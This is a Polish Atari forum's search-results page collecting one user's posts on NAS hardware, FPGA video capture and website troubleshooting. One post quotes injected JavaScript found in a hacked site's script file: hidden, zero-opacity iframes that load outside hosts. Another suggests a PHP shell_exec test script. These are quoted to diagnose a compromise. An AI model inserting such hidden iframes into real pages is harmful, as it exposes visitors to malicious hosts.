Przejdź do treści forum
atari.area forum
Twoje polskie źródło informacji o Atari
Nie jesteś zalogowany. Proszę się zalogować lub zarejestrować.
Aktywne tematy Tematy bez odpowiedzi
Aktualności ze świata Atari
FiSh 0.70 Bocianu wydał FiSh 0.70, shell ułatwiający przeszukiwanie zasobów serwerów TNFS.
Street Fighter II już na Atari 8-bit! Vega i jego zespół wydali finalną wersję kultowej bijatyki. Wymaga 4MB cartridge i 64KB RAM.
Elite Demo 6 na Atari 8-bit! Trwają prace nad konwersją kultowej gry Elite. Szóste demo wprowadza liczne poprawki błędów.
vbcc v5 dla 6502 Kompilator C vbcc doczekał się piątej wersji dystrybucji dla 6502. Zapewnia dużo szybszą arytmetykę FPU i nowe narzędzia.
HDDRIVER 12.75 Sterownik HDDRIVER, kluczowe narzędzie dla pamięci masowej Atari 16/32-bit, otrzymał aktualizację 12.75, która naprawia błąd w HDDRUTIL.
Opcje wyszukiwania (Strona 75 z 79)
A zdradzisz jaki to aparat ?
Ja bym w tej cenie coś canona eos 350D i w górę poszukał. Chociaż sam aparat niezły i ma optyczną stabilizację obrazu !
Chyba się udało:
http://allegro.pl/ShowItem2.php/itemKil … 3046768974
Strona przedmiotu została usunięta przez pracownika Allegro.
U siebie na tym HPku mam postawiony Nas4Free z ZFS i RAID-Z - POLECAM - Szczególnie jak ktoś ma do przechowania dane nieco cenniejsze niż filmy.
Powinno jeżeli dysk potrafi działać w takim trybie.
Poczytaj np tutaj:
http://athi.8m.com/proffessional/HARDWA … CABLES.HTM rozdział "SCSI Cabling Specifications"
A co jest dla Ciebie priorytetem oprócz SATA i GBLan ?
Rozmiary, pobór prądu, RAID i storage, cena czy jeszcze co innego ?
Jak NAS to żadne z tych maleństw nie wyrobi. IO za słabe więc i Gigabitowa karta mija się z celem. Też się długo zastanawiałem nad podobnym problemem i kupiłem wkońcu HP Proliant MicroServer. Trafiają się na nie fajne promocje typu cashback :)
Ale wielkością niestety przegrywa.
Skoro nikt się nie pochwalił że kupił to pewnie niebawem się pojawi ponownie ale już z dopisanymi zerami na końcu.
Mógłbyś jeszcze sprecyzować do jakiego zastosowania tego potrzebujesz, (media server ?) i jak istotny jest rozmiar i cena.
Do pełni szczęścia brakuje jeszcze przeportowania tego do RISC OS'a :)
Szczerze mówiąc przy tylu wejściach to szkoda sobie zaśmiecać stronę reklamami.
Ten link już się na forum pojawiał, ale przytoczę go jeszcze raz.
Na stronie http://retr0bright.wikispaces.com jest opsane szczegółowo co jak i dlaczego.
Nie tyle rozwiązała, co potwierdziła źródło problemu.
Da się to oczywiście obejść, ale była by to już sztuka dla sztuki, przekombinowany układ itd.
Kilka ostatnich dni poświęciłem na zapoznanie się ze specyfikacją cyfrowej transmisji danych (DVI/HDMI) oraz zapoznałem się przynajmniej z podstawami vHDL'a oraz z możliwościami FPGA. To jest wręcz stworzone do tego celu.
Od przyszłego tygodnia zaczynam od nowa. Tym razem biorę się za FPGA :)
Za każdym razem się na tym łapię. Myli mnie to że trzeba załącznik jeszcze potwierdzić po jego wybraniu.
W załącznku wynik testu.
Jak widać ani jednego zgubionego pixela. Potwierdza to moją tezę.
(GPU a właściwie Framebuffer został zainicjowany dopiero po zakończeciu przechwytywania)
Problem jest w pliku:
http://www.atari.org.pl/forum/extension … hortcut.js
Linia 39:
if (e.ctrlKey && (isGecko && key == 115 || !isGecko && key == 83)) {
Najprościej było by zakomentować linie od 39 do 48 włącznie, lub w linii 38 dodać "return false;" bo faktycznie problem upierdliwy jest.
Też się skuszę.
Poproszę o dane co i jak zapłacić.
uruchom taki skrypt na serverze w głównym katalogu.
<?php
print_r (shell_exec('cd ..;ls')
?>
Jak się wykona i poda katalogi nadrzędne to jest na 95% wina servera.
Problemy najprawdopodobniej stwarza to:
W pliku /skrypty/m-x.js
Na końcu doklejony jest taki kod:
document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://gclabrelscon.net/about.php"></iframe></div>');
document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.mc-plainlinde.at/upload/upload.php"></iframe></div>');
Albo masz gdziś dziurę w którymś skrypcie php (upload jakiś), albo server dziurawy i przez powłokę coś się uruchamia, nie koniecznie na twoim koncie.
Jak wyżej.
Ale jak już koniecznie musisz to może jakieś iframe, rozwiązań jest conajmniej wiele zależy co chcesz osiągnąć.
Tam nie ma śladu linuxa, wszystko w asemblerze napisane. Procedura obsługi przerwania i rysowania na ekranie (tylko dane antica) to raptem 17 intrukcji w asemblerze w tym 1 skok warunkowy, włączone L1 cache dla danych i dla instrukcji + predykcja skoków. I to by się zgrabnie wyrabiało gdyby nie to że GPU co jakiś czas zatrzymuje CPU pewnie żeby pobrać dane z RAM.
W miarę cykliczne występowanie tego zjawiska widać na screenie. Każda linia jest synchronizowana od lewej strony. Zgodnie z tym jak ANTIC dane śle.
Znalezione posty [ 1,851 do 1,875 z 1,957 ]
Forum oparte o: PunBB
Currently installed 7 official extensions. Copyright © 2003–2009 PunBB.
Wygenerowano w 0.215 sekund, wykonano 11 zapytań